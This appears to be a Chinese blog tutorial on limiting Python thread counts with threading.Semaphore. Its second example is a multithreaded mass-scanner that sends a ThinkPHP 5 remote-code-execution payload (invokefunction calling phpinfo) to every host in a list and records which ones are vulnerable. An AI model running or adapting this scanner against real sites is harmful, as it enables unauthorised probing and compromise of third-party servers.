python多线程semaphore实现线程数控制的示例


Posted in Python onAugust 10, 2020

前面写过一篇关于python多线程的实现的文章, 但是效果不是最佳的,写法也不是很好。通过网上学习,也了解到了semaphore这个东西。

百度给的解释:Semaphore是一种在多线程环境下使用的设施,该设施负责协调各个线程,以保证它们能够正确、合理的使用公共资源的设施,也是操作系统中用于控制进程同步互斥的量。

一个有趣的例子:假设停车场只有三个车位,一开始三个车位都是空的。这时如果同时来了五辆车,看门人允许其中三辆不受阻碍的进入,然后放下车拦,剩下的车则必须在入口等待,此后来的车也都不得不在入口处等待。这时,有一辆车离开停车场,看门人得知后,打开车拦,放入一辆,如果又离开两辆,则又可以放入两辆,如此往复。

简而言之,也就是能够控制多线程并发的数量。

简单记录一下如何通过semaphore实现线程数的控制。

简单代码:

#! -*-coding: utf-8-*-

import threading
import time

class test(threading.Thread):       #继承threading类
 def __init__(self, i, sem): 
 super(test, self).__init__()   #继承python的构造方法,这为python2的写法,python3可直接super().__init__()
 self.i = i
 self.sem = sem

 def run(self):
 time.sleep(0.1)
 print("the test i is : " + str(self.i))
 self.sem.release()        #释放线程数,线程数加1

if __name__ == '__main__':
 sem = threading.Semaphore(5)   #设置可同时执行的最大线程数
 for i in range(50):
 sem.acquire()         #获得线程,可用线程数减1
 t = test(i, sem)       #给执行函数传递值
 t.start()           #执行函数
sem = threading.Semaphore(5)    #设置可同时开启的线程数,这里为5个

每执行一次函数的时候就获得一个线程数,sem.acquire();每次执行完函数,就会释放一个线程数,sem.release()。只要acquire()的线程数达到了最大数(这里为5),后面的线程就只能先等待前面获得的线程执行完函数过后释放,后面的线程才能继续执行。

整个流程理解起来其实也很简单。

之前写过一次开10个线程的多线程脚本,但是方法不够好,这次用这个方法改了一下,贴在这里(扫描tp5是否存在代码执行漏洞的扫描脚本):

# -*- coding:UTF-8 -*-

import requests
import threading
import time
import sys

class check(threading.Thread):      #判断是否存在这个漏洞的执行函数
 def __init__(self, url, sem):
 super(check, self).__init__()   #继承threading类的构造方法,python3的写法super().__init__()
 self.url = url
 self.sem = sem

 def run(self):
 time.sleep(0.2)
 parameters = "s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
 try:
  responce = requests.get(url = self.url, params = parameters)
  body = responce.text
  if body.find('PHP Extension') != -1:
    with open("success.txt", "a+") as f1:
      f1.write("存在tp5远程代码执行漏洞: " + self.url + "\n")
      print("[+] " + self.url)
  else:
  print("[-] " + self.url)
 except Exception,err:
  print("connect failed")
  pass
 self.sem.release()       #执行完函数,释放线程,线程数加1

class host(threading.Thread):     #遍历文件操作
 def __init__(self, sem):
 super(host, self).__init__()  #继承threading类的构造方法,python3的写法super().__init__()
 self.sem = sem

 def run(self):
 with open(sys.argv[1], "r") as f:
  for host in f.readlines():
  self.sem.acquire()   #遍历一个就获得一个线程,直到达到最大
  host = "http://" + host.strip()
  host_thread = check(host, self.sem) 
  host_thread.start()  #执行check()的执行函数

if __name__ == '__main__':
 sem = threading.Semaphore(10)   #最大线程数为10个
 thread = host(sem)         #传递sem值
 thread.start()

到此这篇关于python多线程semaphore实现线程数控制的示例的文章就介绍到这了,更多相关python 线程数控制内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
深入讲解Python编程中的字符串
Oct 14 Python
Python实现获取域名所用服务器的真实IP
Oct 25 Python
Python的Tornado框架实现图片上传及图片大小修改功能
Jun 30 Python
Python学习小技巧之列表项的排序
May 20 Python
Python返回数组/List长度的实例
Jun 23 Python
解决Pycharm后台indexing导致不能run的问题
Jun 27 Python
使用pyinstaller逆向.pyc文件
Dec 20 Python
Python3打包exe代码2种方法实例解析
Feb 17 Python
Python装饰器用法与知识点小结
Mar 09 Python
python thrift 实现 单端口多服务的过程
Jun 08 Python
python中取绝对值简单方法总结
Jul 24 Python
python热力图实现简单方法
Jan 29 Python
如何在python中实现线性回归
Aug 10 #Python
Python多线程的退出控制实现
Aug 10 #Python
Python进行统计建模
Aug 10 #Python
Python如何爬取b站热门视频并导入Excel
Aug 10 #Python
拿来就用!Python批量合并PDF的示例代码
Aug 10 #Python
Python 发送邮件方法总结
Aug 10 #Python
Python getattr()函数使用方法代码实例
Aug 10 #Python
You might like
解析ajax事件的调用顺序
2013/06/17 PHP
使用YUI+Ant 实现JS CSS压缩
2014/09/02 PHP
制作安全性高的PHP网站的几个实用要点
2014/12/30 PHP
php 参数过滤、数据过滤详解
2015/10/26 PHP
PHP对象、模式与实践之高级特性分析
2016/12/08 PHP
PHP连接MYSQL数据库的3种常用方法
2017/02/27 PHP
jQuery 行背景颜色的交替显示(隔行变色)实现代码
2009/12/13 Javascript
利用json获取字符出现次数的代码
2012/03/22 Javascript
js时间戳格式化成日期格式的多种方法
2013/11/11 Javascript
ExtJS中设置下拉列表框不可编辑的方法
2014/05/07 Javascript
jquery实现的鼠标下拉滚动置顶效果
2014/07/24 Javascript
Jquery对新插入的节点 绑定Click事件失效的解决方法
2016/06/02 Javascript
AngularJs Javascript MVC 框架
2016/06/20 Javascript
基于AngularJS实现iOS8自带的计算器
2016/09/12 Javascript
JavaScript html5利用FileReader实现上传功能
2020/03/27 Javascript
JavaScript实现时间表动态效果
2017/07/15 Javascript
Vue自定义指令详解
2017/07/28 Javascript
Vue2.0 给Tab标签页和页面切换过渡添加样式的方法
2018/03/13 Javascript
vue2.0+ 从插件开发到npm发布的示例代码
2018/04/28 Javascript
antd design table更改某行数据的样式操作
2020/10/31 Javascript
Python中操作MySQL入门实例
2015/02/08 Python
通过Python使用saltstack生成服务器资产清单
2016/03/01 Python
hmac模块生成加入了密钥的消息摘要详解
2018/01/11 Python
儿童学习python的一些小技巧
2018/05/27 Python
Python lambda表达式用法实例分析
2018/12/25 Python
解决Keras使用GPU资源耗尽的问题
2020/06/22 Python
matplotlib 画动态图以及plt.ion()和plt.ioff()的使用详解
2021/01/05 Python
台湾良兴购物网:EcLife
2019/12/01 全球购物
护士进修自我鉴定
2014/02/07 职场文书
3.15国际消费者权益日主题活动活动总结
2014/03/16 职场文书
采购部长岗位职责
2014/06/13 职场文书
2014年团员学习十八大思想汇报
2014/09/13 职场文书
匿名检举信范文
2015/03/02 职场文书
观看禁毒宣传片后的感想
2015/08/11 职场文书
运动会班级口号霸气押韵
2015/12/24 职场文书
大学生创业,为什么都会选择快餐饮?
2019/08/08 职场文书